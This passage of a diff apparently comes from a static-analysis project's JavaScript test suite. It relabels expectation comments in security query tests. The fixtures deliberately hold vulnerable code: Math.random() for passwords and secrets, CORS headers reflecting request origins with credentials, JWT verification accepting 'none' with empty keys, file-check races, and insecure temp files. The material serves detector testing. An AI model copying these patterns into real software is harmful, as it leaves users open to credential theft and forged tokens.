-| tst.js:20:20:20:36 | "prefix" + suffix | tst.js:19:18:19:30 | Math.random() | tst.js:20:20:20:36 | "prefix" + suffix | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:19:18:19:30 | Math.random() | Math.random() |
-| tst.js:29:20:29:21 | pw | tst.js:28:14:28:26 | Math.random() | tst.js:29:20:29:21 | pw | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:28:14:28:26 | Math.random() | Math.random() |
-| tst.js:41:20:41:33 | !Math.random() | tst.js:41:21:41:33 | Math.random() | tst.js:41:20:41:33 | !Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:41:21:41:33 | Math.random() | Math.random() |
-| tst.js:45:18:45:30 | Math.random() | tst.js:45:18:45:30 | Math.random() | tst.js:45:18:45:30 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:45:18:45:30 | Math.random() | Math.random() |
-| tst.js:50:16:50:28 | Math.random() | tst.js:50:16:50:28 | Math.random() | tst.js:50:16:50:28 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:50:16:50:28 | Math.random() | Math.random() |
-| tst.js:55:17:55:29 | Math.random() | tst.js:55:17:55:29 | Math.random() | tst.js:55:17:55:29 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:55:17:55:29 | Math.random() | Math.random() |
-| tst.js:61:17:61:34 | '' + Math.random() | tst.js:61:22:61:34 | Math.random() | tst.js:61:17:61:34 | '' + Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:61:22:61:34 | Math.random() | Math.random() |
-| tst.js:66:18:66:42 | Math.fl ... ndom()) | tst.js:66:29:66:41 | Math.random() | tst.js:66:18:66:42 | Math.fl ... ndom()) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:66:29:66:41 | Math.random() | Math.random() |
-| tst.js:73:23:73:28 | concat | tst.js:71:27:71:39 | Math.random() | tst.js:73:23:73:28 | concat | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:71:27:71:39 | Math.random() | Math.random() |
-| tst.js:77:16:77:21 | secret | tst.js:80:7:80:19 | Math.random() | tst.js:77:16:77:21 | secret | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:80:7:80:19 | Math.random() | Math.random() |
-| tst.js:84:19:84:31 | Math.random() | tst.js:84:19:84:31 | Math.random() | tst.js:84:19:84:31 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:84:19:84:31 | Math.random() | Math.random() |
-| tst.js:90:32:90:44 | Math.random() | tst.js:90:32:90:44 | Math.random() | tst.js:90:32:90:44 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:90:32:90:44 | Math.random() | Math.random() |
-| tst.js:95:33:95:45 | Math.random() | tst.js:95:33:95:45 | Math.random() | tst.js:95:33:95:45 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:95:33:95:45 | Math.random() | Math.random() |
-| tst.js:115:16:115:56 | Math.fl ... 00_000) | tst.js:115:27:115:39 | Math.random() | tst.js:115:16:115:56 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:115:27:115:39 | Math.random() | Math.random() |
-| tst.js:116:22:116:62 | Math.fl ... 00_000) | tst.js:116:33:116:45 | Math.random() | tst.js:116:22:116:62 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:116:33:116:45 | Math.random() | Math.random() |
-| tst.js:117:15:117:55 | Math.fl ... 00_000) | tst.js:117:26:117:38 | Math.random() | tst.js:117:15:117:55 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:117:26:117:38 | Math.random() | Math.random() |
-| tst.js:118:23:118:63 | Math.fl ... 00_000) | tst.js:118:34:118:46 | Math.random() | tst.js:118:23:118:63 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:118:34:118:46 | Math.random() | Math.random() |
-| tst.js:120:16:120:28 | Math.random() | tst.js:120:16:120:28 | Math.random() | tst.js:120:16:120:28 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:120:16:120:28 | Math.random() | Math.random() |
-| tst.js:121:18:121:30 | Math.random() | tst.js:121:18:121:30 | Math.random() | tst.js:121:18:121:30 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:121:18:121:30 | Math.random() | Math.random() |
-| tst.js:136:9:136:67 | password | tst.js:136:38:136:50 | Math.random() | tst.js:136:9:136:67 | password | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:136:38:136:50 | Math.random() | Math.random() |
diff --git a/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.qlref b/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.qlref
index 3f171c113042..af41b370d193 100644
--- a/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.qlref
@@ -1 +1,2 @@
-Security/CWE-338/InsecureRandomness.ql
\ No newline at end of file
+query: Security/CWE-338/InsecureRandomness.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-338/tst.js b/javascript/ql/test/query-tests/Security/CWE-338/tst.js
index b0f318eb717f..0f7f96957883 100644
--- a/javascript/ql/test/query-tests/Security/CWE-338/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-338/tst.js
@@ -1,13 +1,13 @@
 function f1() {
-    var password = Math.random(); // NOT OK
+    var password = Math.random(); // $ Alert
 }
 
 function f2() {
-    var password = "prefix" + Math.random(); // NOT OK
+    var password = "prefix" + Math.random(); // $ Alert
 }
 
 function f3() {
-    var password = Math.random(); // NOT OK
+    var password = Math.random(); // $ Alert
 
     // (no complaining about further uses)
     f(password);
@@ -16,83 +16,83 @@ function f3() {
 }
 
 function f4() {
-    var suffix = Math.random() % 255;
-    var password = "prefix" + suffix; // NOT OK
+    var suffix = Math.random() % 255; // $ Source
+    var password = "prefix" + suffix; // $ Alert
 }
 
 function f5() {
-    var pw = Math.random(); // NOT OK, but our naming heuristic does not identify `pw` as sensitive [INCONSISTENCY]
+    var pw = Math.random(); // $ MISSING: Alert - our naming heuristic does not identify `pw` as sensitive
 }
 
 function f6() {
-    var pw = Math.random();
-    var password = pw; // NOT OK
+    var pw = Math.random(); // $ Source
+    var password = pw; // $ Alert
 }
 
 function f7() {
-    var number = Math.random() // OK
+    var number = Math.random()
 }
 
 function f8() {
-    var password = someSecureRandomThing(); // OK
+    var password = someSecureRandomThing();
 }
 
 function f9() {
-    var password = !Math.random(); // NOT OK
+    var password = !Math.random(); // $ Alert
 }
 
 function f10() {
-    var secret = Math.random(); // NOT OK
+    var secret = Math.random(); // $ Alert
 }
 
 function f11() {
     var o = {};
-    o.secret = Math.random() // NOT OK
+    o.secret = Math.random() // $ Alert
 }
 
 function f12() {
     ({
-        secret: Math.random() // NOT OK
+        secret: Math.random() // $ Alert
     });
 }
 
 function f13() {
     ({
-        secret: '' + Math.random() // NOT OK
+        secret: '' + Math.random() // $ Alert
     });
 }
 
 function f14() {
-    var secret = Math.floor(Math.random()); // NOT OK
+    var secret = Math.floor(Math.random()); // $ Alert
 }
 
 function f15() {
     var ts = new Date().getTime();
-    var rand = Math.floor(Math.random()*9999999);
+    var rand = Math.floor(Math.random()*9999999); // $ Source
     var concat = ts.toString() + rand.toString();
-    res.send({secret: concat}); // NOT OK
+    res.send({secret: concat}); // $ Alert
 }
 
 function f16() {
-    function f(secret) { // NOT OK
+    function f(secret) { // $ Alert
         secret++;
     }
-    f(Math.random());
+    f(Math.random()); // $ Source
 }
 
 function f17() {
-    var secret1 = Math.random(); // NOT OK
-    var secret2 = secret1; // OK (we flagged secret1 above)
-    var secret3 = secret2; // OK (we flagged secret1 above)
+    var secret1 = Math.random(); // $ Alert
+    var secret2 = secret1; // OK - we flagged secret1 above
+    var secret3 = secret2; // OK - we flagged secret1 above
 }
 
 function f18() {
-    var secret = (o.password = Math.random());
+    var secret = (o.password = Math.random()); // $ Alert
 }
 
 (function(){
     var crypto = require('crypto');
-    crypto.createHmac('sha256', Math.random());
+    crypto.createHmac('sha256', Math.random()); // $ Alert
 })();
 
 (function () {
@@ -112,13 +112,13 @@ function f18() {
 })();
 
 function uid() {
-    var uuid = Math.floor(Math.random() * 4_000_000_000); // NOT OK
-    var sessionUid = Math.floor(Math.random() * 4_000_000_000); // NOT OK
-    var uid = Math.floor(Math.random() * 4_000_000_000); // NOT OK
-    var my_nice_uid = Math.floor(Math.random() * 4_000_000_000); // NOT OK
-    var liquid = Math.random(); // OK
-    var UUID = Math.random(); // NOT OK
-    var MY_UID = Math.random(); // NOK OK
+    var uuid = Math.floor(Math.random() * 4_000_000_000); // $ Alert
+    var sessionUid = Math.floor(Math.random() * 4_000_000_000); // $ Alert
+    var uid = Math.floor(Math.random() * 4_000_000_000); // $ Alert
+    var my_nice_uid = Math.floor(Math.random() * 4_000_000_000); // $ Alert
+    var liquid = Math.random();
+    var UUID = Math.random(); // $ Alert
+    var MY_UID = Math.random(); // $ Alert
 }
 
 function buildPass(opts, length) {
@@ -133,7 +133,7 @@ function buildPass(opts, length) {
 
     const password = "";
     for (let i = 0; i < length; i++) {
-        password += chars[Math.floor(Math.random() * chars.length)]; // NOT OK
+        password += chars[Math.floor(Math.random() * chars.length)]; // $ Alert
     }
     return password;
-}
\ No newline at end of file
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.expected b/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.expected
index fd0677de03df..34b731a12d18 100644
--- a/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.expected
@@ -1,3 +1,7 @@
+#select
+| tst.js:13:50:13:55 | origin | tst.js:12:28:12:34 | req.url | tst.js:13:50:13:55 | origin | $@ leak vulnerability due to a $@. | tst.js:14:5:14:59 | res.set ... , true) | Credential | tst.js:12:28:12:34 | req.url | misconfigured CORS header value |
+| tst.js:18:50:18:53 | null | tst.js:18:50:18:53 | null | tst.js:18:50:18:53 | null | $@ leak vulnerability due to a $@. | tst.js:19:5:19:59 | res.set ... , true) | Credential | tst.js:18:50:18:53 | null | misconfigured CORS header value |
+| tst.js:23:50:23:55 | "null" | tst.js:23:50:23:55 | "null" | tst.js:23:50:23:55 | "null" | $@ leak vulnerability due to a $@. | tst.js:24:5:24:59 | res.set ... , true) | Credential | tst.js:23:50:23:55 | "null" | misconfigured CORS header value |
 edges
 | tst.js:12:9:12:54 | origin | tst.js:13:50:13:55 | origin | provenance |  |
 | tst.js:12:18:12:41 | url.par ... , true) | tst.js:12:9:12:54 | origin | provenance |  |
@@ -10,7 +14,3 @@ nodes
 | tst.js:18:50:18:53 | null | semmle.label | null |
 | tst.js:23:50:23:55 | "null" | semmle.label | "null" |
 subpaths
-#select
-| tst.js:13:50:13:55 | origin | tst.js:12:28:12:34 | req.url | tst.js:13:50:13:55 | origin | $@ leak vulnerability due to a $@. | tst.js:14:5:14:59 | res.set ... , true) | Credential | tst.js:12:28:12:34 | req.url | misconfigured CORS header value |
-| tst.js:18:50:18:53 | null | tst.js:18:50:18:53 | null | tst.js:18:50:18:53 | null | $@ leak vulnerability due to a $@. | tst.js:19:5:19:59 | res.set ... , true) | Credential | tst.js:18:50:18:53 | null | misconfigured CORS header value |
-| tst.js:23:50:23:55 | "null" | tst.js:23:50:23:55 | "null" | tst.js:23:50:23:55 | "null" | $@ leak vulnerability due to a $@. | tst.js:24:5:24:59 | res.set ... , true) | Credential | tst.js:23:50:23:55 | "null" | misconfigured CORS header value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.qlref b/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.qlref
index 66af629b5406..855467eb5580 100644
--- a/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-346/CorsMisconfigurationForCredentials.qlref
@@ -1 +1,2 @@
-Security/CWE-346/CorsMisconfigurationForCredentials.ql
\ No newline at end of file
+query: Security/CWE-346/CorsMisconfigurationForCredentials.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-346/tst.js b/javascript/ql/test/query-tests/Security/CWE-346/tst.js
index 3b22ace123d6..bc84efe2ceb6 100644
--- a/javascript/ql/test/query-tests/Security/CWE-346/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-346/tst.js
@@ -4,58 +4,58 @@ var url = require('url');
 var server = https.createServer(function(){});
 
 server.on('request', function(req, res) {
-    res.setHeader("Access-Control-Allow-Origin", "https://semmle.com"); // OK, fixed origin
+    res.setHeader("Access-Control-Allow-Origin", "https://semmle.com"); // OK - fixed origin
     res.setHeader("Access-Control-Allow-Credentials", true);
 });
 
 server.on('request', function(req, res) {
-    let origin = url.parse(req.url, true).query.origin;
-    res.setHeader("Access-Control-Allow-Origin", origin); // NOT OK, tainted origin
+    let origin = url.parse(req.url, true).query.origin; // $ Source
+    res.setHeader("Access-Control-Allow-Origin", origin); // $ Alert - tainted origin
     res.setHeader("Access-Control-Allow-Credentials", true);
 });
 
 server.on('request', (req, res) => {
-    res.setHeader("Access-Control-Allow-Origin", null); // NOT OK, null origin
+    res.setHeader("Access-Control-Allow-Origin", null); // $ Alert - null origin
     res.setHeader("Access-Control-Allow-Credentials", true);
 });
 
 server.on('request', (req, res) => {
-    res.setHeader("Access-Control-Allow-Origin", "null"); // NOT OK, null origin
+    res.setHeader("Access-Control-Allow-Origin", "null"); // $ Alert - null origin
     res.setHeader("Access-Control-Allow-Credentials", true);
 });
 
 server.on('request', function(req, res) {
     let origin = url.parse(req.url, true).query.origin;
-    res.setHeader("Access-Control-Allow-Origin", origin);  // OK, credentials are not transferred
+    res.setHeader("Access-Control-Allow-Origin", origin);  // OK - credentials are not transferred
 });
 
 server.on('request', (req, res) => {
-    res.setHeader("Access-Control-Allow-Origin", null); // OK, credentials are not transferred
+    res.setHeader("Access-Control-Allow-Origin", null); // OK - credentials are not transferred
 });
 
 server.on('request', (req, res) => {
-    res.setHeader("Access-Control-Allow-Origin", null); // OK, credentials are not transferred
+    res.setHeader("Access-Control-Allow-Origin", null); // OK - credentials are not transferred
     res.setHeader("Access-Control-Allow-Credentials", false);
 });
 
 server.on('request', (req, res) => {
     let origin = url.parse(req.url, true).query.origin;
     if (origin in o) {
-        res.setHeader("Access-Control-Allow-Origin", origin); // OK, sanitized origin
+        res.setHeader("Access-Control-Allow-Origin", origin); // OK - sanitized origin
         res.setHeader("Access-Control-Allow-Credentials", true);
     }
 });
 
 // syntactic header defintion
 probalyAServer.on('request', (req, res) => {
-    res.setHeader("Access-Control-Allow-Origin", null); // NOT OK (but not detected) [INCONSISTENCY]
+    res.setHeader("Access-Control-Allow-Origin", null); // $ MISSING: Alert - not detected
     res.setHeader("Access-Control-Allow-Credentials", true);
 });
 
 server.on('request', (req, res) => {
     let origin = url.parse(req.url, true).query.origin;
     if (ALLOWED_ORIGINS.indexOf(origin) !== -1) {
-        res.setHeader("Access-Control-Allow-Origin", origin); // OK, sanitized origin
+        res.setHeader("Access-Control-Allow-Origin", origin); // OK - sanitized origin
         res.setHeader("Access-Control-Allow-Credentials", true);
     }
 });
@@ -63,7 +63,7 @@ server.on('request', (req, res) => {
 server.on('request', (req, res) => {
     let origin = url.parse(req.url, true).query.origin;
     if (ALLOWED_ORIGINS.indexOf(origin) >= 0) {
-        res.setHeader("Access-Control-Allow-Origin", origin); // OK, sanitized origin
+        res.setHeader("Access-Control-Allow-Origin", origin); // OK - sanitized origin
         res.setHeader("Access-Control-Allow-Credentials", true);
     }
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-347/MissingJWTKeyVerification.qlref b/javascript/ql/test/query-tests/Security/CWE-347/MissingJWTKeyVerification.qlref
index 39d8056c9327..a270b2327def 100644
--- a/javascript/ql/test/query-tests/Security/CWE-347/MissingJWTKeyVerification.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-347/MissingJWTKeyVerification.qlref
@@ -1 +1,2 @@
-Security/CWE-347/MissingJWTKeyVerification.ql
+query: Security/CWE-347/MissingJWTKeyVerification.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-347/bad-jwt.js b/javascript/ql/test/query-tests/Security/CWE-347/bad-jwt.js
index 947793289644..d46577192ab1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-347/bad-jwt.js
+++ b/javascript/ql/test/query-tests/Security/CWE-347/bad-jwt.js
@@ -3,10 +3,10 @@ const jwt = require("jsonwebtoken");
 const secret = "my-secret-key";
 
 var token = jwt.sign({ foo: 'bar' }, secret, { algorithm: "HS256" }) 
-jwt.verify(token, secret, { algorithms: ["HS256", "none"] }) // OK
+jwt.verify(token, secret, { algorithms: ["HS256", "none"] })
 
 
 var token = jwt.sign({ foo: 'bar' }, secret, { algorithm: "none" })
-jwt.verify(token, "", { algorithms: ["HS256", "none"] }) // NOT OK
-jwt.verify(token, undefined, { algorithms: ["HS256", "none"] }) // NOT OK
-jwt.verify(token, false, { algorithms: ["HS256", "none"] }) // NOT OK
\ No newline at end of file
+jwt.verify(token, "", { algorithms: ["HS256", "none"] }) // $ Alert
+jwt.verify(token, undefined, { algorithms: ["HS256", "none"] }) // $ Alert
+jwt.verify(token, false, { algorithms: ["HS256", "none"] }) // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js b/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js
index edc7ccd1bd74..b8b01c197e02 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js
@@ -26,7 +26,7 @@ app.get('/form', function (req, res) {
   res.render('send', { csrfToken: req.csrfToken() })
 })
 
-app.post('/process', function (req, res) { // OK
+app.post('/process', function (req, res) {
   let newEmail = req.cookies["newEmail"];
   res.send('csrf was required to get here')
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js b/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js
index 2ef368b1ce86..fa2cbe819df8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js
@@ -17,13 +17,13 @@ var app = express()
 // we need this because "cookie" is true in csrfProtection
 app.use(cookieParser()) // $ Alert
 
-app.get('/form', csrfProtection, function (req, res) { // OK
+app.get('/form', csrfProtection, function (req, res) {
   let newEmail = req.cookies["newEmail"];
   // pass the csrfToken to the view
   res.render('send', { csrfToken: req.csrfToken() })
 })
 
-app.post('/process', parseForm, csrfProtection, function (req, res) { // OK
+app.post('/process', parseForm, csrfProtection, function (req, res) {
   let newEmail = req.cookies["newEmail"];
   res.send('data is being processed')
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/fastify.js b/javascript/ql/test/query-tests/Security/CWE-352/fastify.js
index 93cad12fbdc0..a8c74e1a08e0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/fastify.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/fastify.js
@@ -8,7 +8,7 @@ app.register(require('fastify-csrf'));
 app.route({
   method: 'GET',
   path: '/getter',
-  handler: async (req, reply) => { // OK
+  handler: async (req, reply) => {
     return 'hello';
   }
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js b/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js
index 9fb5c1358407..ebaaefaa0338 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js
@@ -12,7 +12,7 @@ app.register(fp(plugin));
 app.route({
   method: 'GET',
   path: '/getter',
-  handler: async (req, reply) => { // OK
+  handler: async (req, reply) => {
     return 'hello';
   }
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js b/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js
index c841eb239662..0d6ba94928c4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js
@@ -8,17 +8,17 @@ var lusca = require('lusca');
 var app = express()
 app.use(cookieParser()) // $ Alert
 
-app.post('/process', parseForm, lusca.csrf(), function (req, res) { // OK
+app.post('/process', parseForm, lusca.csrf(), function (req, res) {
   let newEmail = req.cookies["newEmail"];
   res.send('data is being processed')
 })
 
-app.post('/process', parseForm, lusca({csrf:true}), function (req, res) { // OK
+app.post('/process', parseForm, lusca({csrf:true}), function (req, res) {
   let newEmail = req.cookies["newEmail"];
   res.send('data is being processed')
 })
 
-app.post('/process', parseForm, lusca({csrf:{}}), function (req, res) { // OK
+app.post('/process', parseForm, lusca({csrf:{}}), function (req, res) {
   let newEmail = req.cookies["newEmail"];
   res.send('data is being processed')
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-352/tst.js b/javascript/ql/test/query-tests/Security/CWE-352/tst.js
index 3f688f95d3f8..55a6d84a2e7e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-352/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-352/tst.js
@@ -17,6 +17,6 @@ function middlewares() {
 
 app.use(middlewares());
 
-app.post('/safe', (req, res) => { // OK
+app.post('/safe', (req, res) => {
   req.cookies.x;
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.expected b/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.expected
index aa12bd680854..808981d055ce 100644
--- a/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.expected
@@ -1,4 +1,4 @@
 | tst.js:8:3:8:54 | fs.writ ... o600 }) | The file may have changed since it $@. | tst.js:7:6:7:28 | fs.exis ... lePath) | was checked |
 | tst.js:14:3:14:40 | fs.writ ... ntent") | The file may have changed since it $@. | tst.js:12:15:12:36 | fs.stat ... ePath2) | was checked |
-| tst.js:18:3:18:40 | fs.writ ... ntent") | The file may have changed since it $@. | tst.js:17:1:19:2 | fs.acce ... T OK\\n}) | was checked |
-| tst.js:33:3:37:4 | fs.open ... ..\\n  }) | The file may have changed since it $@. | tst.js:27:1:38:2 | fs.acce ...  });\\n}) | was checked |
+| tst.js:18:3:18:40 | fs.writ ... ntent") | The file may have changed since it $@. | tst.js:17:1:19:2 | fs.acce ... lert\\n}) | was checked |
+| tst.js:33:3:37:4 | fs.open ... ..\\n  }) | The file may have changed since it $@. | tst.js:27:1:38:2 | fs.acce ... lert\\n}) | was checked |
diff --git a/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.qlref b/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.qlref
index 13144f0ab703..f7c3dd70357e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-367/FileSystemRace.qlref
@@ -1 +1,2 @@
-Security/CWE-367/FileSystemRace.ql
+query: Security/CWE-367/FileSystemRace.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-367/tst.js b/javascript/ql/test/query-tests/Security/CWE-367/tst.js
index ed0dd5c1b57f..55fcaa16522d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-367/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-367/tst.js
@@ -5,21 +5,21 @@ const path = require("path");
 const filePath = path.join(os.tmpdir(), "my-temp-file.txt");
 
 if (!fs.existsSync(filePath)) {
-  fs.writeFileSync(filePath, "Hello", { mode: 0o600 }); // NOT OK
+  fs.writeFileSync(filePath, "Hello", { mode: 0o600 }); // $ Alert
 }
 
 const filePath2 = createFile();
 const stats = fs.statSync(filePath2);
 if (doSomethingWith(stats)) {
-  fs.writeFileSync(filePath2, "content"); // NOT OK
+  fs.writeFileSync(filePath2, "content"); // $ Alert
 }
 
 fs.access(filePath2, fs.constants.F_OK, (err) => {
-  fs.writeFileSync(filePath2, "content"); // NOT OK
+  fs.writeFileSync(filePath2, "content"); // $ Alert
 });
 
 fs.open("myFile", "rw", (err, fd) => {
-  fs.writeFileSync(fd, "content"); // OK
+  fs.writeFileSync(fd, "content");
 });
 
 import { open, close } from "fs";
@@ -30,16 +30,16 @@ fs.access("myfile", (err) => {
     return;
   }
 
-  fs.open("myfile", "wx", (err, fd) => { // NOT OK
+  fs.open("myfile", "wx", (err, fd) => {
     if (err) throw err;
 
     // ....
-  });
+  }); // $ Alert
 });
 
 const filePath3 = createFile();
 if (fs.existsSync(filePath3)) {
-  fs.readFileSync(filePath3); // OK - a read after an existence check is OK 
+  fs.readFileSync(filePath3); // OK - a read after an existence check is OK
 }
 
 const filePath4 = createFile();
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected
index 69dcd04037ad..29e82a609567 100644
--- a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.expected
@@ -1,3 +1,9 @@
+#select
+| insecure-temporary-file.js:13:22:13:32 | tmpLocation | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | insecure-temporary-file.js:13:22:13:32 | tmpLocation | Insecure creation of file in $@. | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | the os temp dir |
+| insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
+| insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
+| insecure-temporary-file.js:26:22:26:29 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:26:22:26:29 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
+| insecure-temporary-file.js:28:17:28:24 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:28:17:28:24 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
 edges
 | insecure-temporary-file.js:7:9:11:5 | tmpLocation | insecure-temporary-file.js:13:22:13:32 | tmpLocation | provenance |  |
 | insecure-temporary-file.js:7:23:11:5 | path.jo ... )\\n    ) | insecure-temporary-file.js:7:9:11:5 | tmpLocation | provenance |  |
@@ -28,9 +34,3 @@ nodes
 | insecure-temporary-file.js:26:22:26:29 | tmpPath2 | semmle.label | tmpPath2 |
 | insecure-temporary-file.js:28:17:28:24 | tmpPath2 | semmle.label | tmpPath2 |
 subpaths
-#select
-| insecure-temporary-file.js:13:22:13:32 | tmpLocation | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | insecure-temporary-file.js:13:22:13:32 | tmpLocation | Insecure creation of file in $@. | insecure-temporary-file.js:8:21:8:31 | os.tmpdir() | the os temp dir |
-| insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:17:22:17:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
-| insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | insecure-temporary-file.js:23:22:23:49 | path.jo ... /foo/") | Insecure creation of file in $@. | insecure-temporary-file.js:15:19:15:34 | "/tmp/something" | the os temp dir |
-| insecure-temporary-file.js:26:22:26:29 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:26:22:26:29 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
-| insecure-temporary-file.js:28:17:28:24 | tmpPath2 | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | insecure-temporary-file.js:28:17:28:24 | tmpPath2 | Insecure creation of file in $@. | insecure-temporary-file.js:25:32:25:42 | os.tmpdir() | the os temp dir |
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref
index 68a27dfb2690..c64f78a01039 100644
--- a/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-377/InsecureTemporaryFile.qlref
@@ -1 +1,2 @@
-Security/CWE-377/InsecureTemporaryFile.ql
+query: Security/CWE-377/InsecureTemporaryFile.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js b/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js
